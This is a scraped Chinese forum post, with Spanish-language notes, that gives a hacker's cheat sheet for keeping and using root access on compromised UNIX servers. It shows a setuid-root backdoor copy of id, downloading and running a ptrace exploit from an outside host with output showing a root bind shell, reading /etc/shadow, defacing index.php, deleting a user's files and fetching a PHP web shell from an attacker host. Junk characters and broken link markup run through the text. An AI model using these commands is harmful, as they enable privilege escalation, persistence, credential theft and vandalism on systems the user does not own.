QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 4885|回复: 0
打印 上一主题 下一主题

总结UNIX成为root以后保持权限的方法

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
|招呼Ta 关注Ta
<><FONT color=#ff0000>by:cnbird</FONT></P>
  f3 H- f0 L5 @- a- s. s<>1.</P>
2 }+ L3 |2 Y8 K, A) y0 }<>[cnbird@localhost tmp]#id</P>' Z- Q5 ]% c, }! l, {" V
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
6 Y. \( M8 L. w4 l3 G4 n<>[cnbird@localhost tmp]#cp `which id ` .</P>
1 T. M% p3 ?  C# v! a7 |6 \<>[cnbird@localhost tmp]#chown root ./id</P>
2 @! {* I/ H, K6 `' m<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
. j$ ]1 f4 }  i. |<>[cnbird@localhost tmp]#ls -l ./id</P>4 R; b+ z2 Z3 e, w2 j, v7 W- d
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>, }, C" w6 b8 x7 X/ r( H# ~" s
<>[cnbird@localhost tmp]#exit</P>
; v  N  I9 L3 B1 T# u* s<>[cnbird@localhost tmp]$id</P>
9 A2 I5 }# H# P: L- P<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
" w6 D+ G! `& a3 t& m& o) B<>[cnbird@localhost tmp]$./id </P>
& o+ R+ b3 J" |- T4 X<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>, I- }2 q" A5 y7 P, ?
<>2.利用ptrace成为root的方法</P>
5 j2 z0 a$ m* M<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
1 u$ j+ n1 P1 c6 E: x-&gt; Parent's PID is 2313. Child's PID is 2314.
) r; {2 T: N& N5 s-&gt; Attaching to 2315..., U& v; d) ~9 {! G( D" A
-&gt; Got the thread!!
3 y/ @$ j3 ~) p* }5 w-&gt; Waiting for the next signal...
; p8 ?' A  O" L/ H-&gt; Injecting shellcode at 0x4000e85d
5 Y, \) ?/ W1 D: @+ b-&gt; Bind root shell on port 24876... =p
$ N# y6 c# O$ D" v-&gt; Detached from modprobe thread.
2 q! g5 z2 M0 v& `-&gt; Committing suicide.....</P>
7 A; |2 a5 L+ J* t4 |2 D/ C/ E/ q<>[bash]# id
& p' o3 v) I1 b( m: }6 L! A7 quid=0(root) gid=0(root) groups=0(root)</P>
7 }1 a/ k, u4 D" h4 ~1 n1 n<>ara ver los dominios que hay en el server:/ l& e7 q1 n1 k2 ?( n
---------------------------------------------------------
9 B6 ]. O3 @! Q5 U  T2 g  q8 Hcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios' _7 k- M9 e: N4 h0 q1 p' G
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios* m! H  |7 z8 J& O" p& F
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales5 R. D. }& y# V& }7 l
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio ( q# k* ~8 v) f$ y! L
cat /etc/userdomains &lt;&lt; Este es el mas comun9 A" L1 W) V% ]' U
---------------------------------------------------------</P>: F4 y/ q% W1 X* }
<>ara ver la version de kernel:
( c: d& M3 a: {- b- ^---------------------------------------------------------, y8 v7 J8 }1 d' L
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
3 J: P$ B  c. a3 Y" o3 g! C---------------------------------------------------------</P>
; t9 H- `* k- ]+ P  W: y<>ara modificar un index ya existente:  k! l7 Y' W2 ?- l3 |0 [
---------------------------------------------------------
3 A0 }7 K8 m/ H6 \( S+ i! becho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido' m0 A0 C+ Y0 o# O# h4 I+ i
---------------------------------------------------------</P>
+ ~9 V1 H: X% Z' o: f; J<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:' w* _3 C4 G( s. D* v1 @
---------------------------------------------------------2 `- Q  p+ A1 V4 K& E) t" }8 X
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
8 n0 U: [2 W% k( _2 fcd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado" $ T- d, p+ e* Y3 {3 F' C
cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado") u7 X1 Q6 B6 H! y6 f4 J8 R0 ]
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
1 T! y3 d0 a8 B+ O0 jHasta aqui termina el proceso para un exploit.8 H# j# `9 |! x2 D" ?
---------------------------------------------------------</P>
$ }9 |) ?; ^7 A" ~  N; {1 a6 J) h<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
" X5 W' v7 U% ]0 i---------------------------------------------------------
0 M: C/ T8 r! y' x+ z4 gcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.  X- K" R% D; f4 e
---------------------------------------------------------</P>
3 H7 \( ?) T/ l<>Borrar un Ficher3 t6 R1 A  l3 i: m4 P
---------------------------------------------------------
" i. m. G, \4 m/ x7 {- p& B3 }2 lcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm( a+ E. S) Z1 B
---------------------------------------------------------</P>
6 H$ Z  G+ C% ~5 v" }. K<>Subir un ficher
; K  R5 g( U# \6 A" g/ L, P---------------------------------------------------------6 l7 W6 {( d3 l& J- r/ s0 K
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
; K& ^' m- d0 `# R% P/ W9 n% V<>
: S6 @$ i/ A* P: i<CENTER></CENTER>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2025-9-16 11:57 , Processed in 0.347333 second(s), 51 queries .

回顶部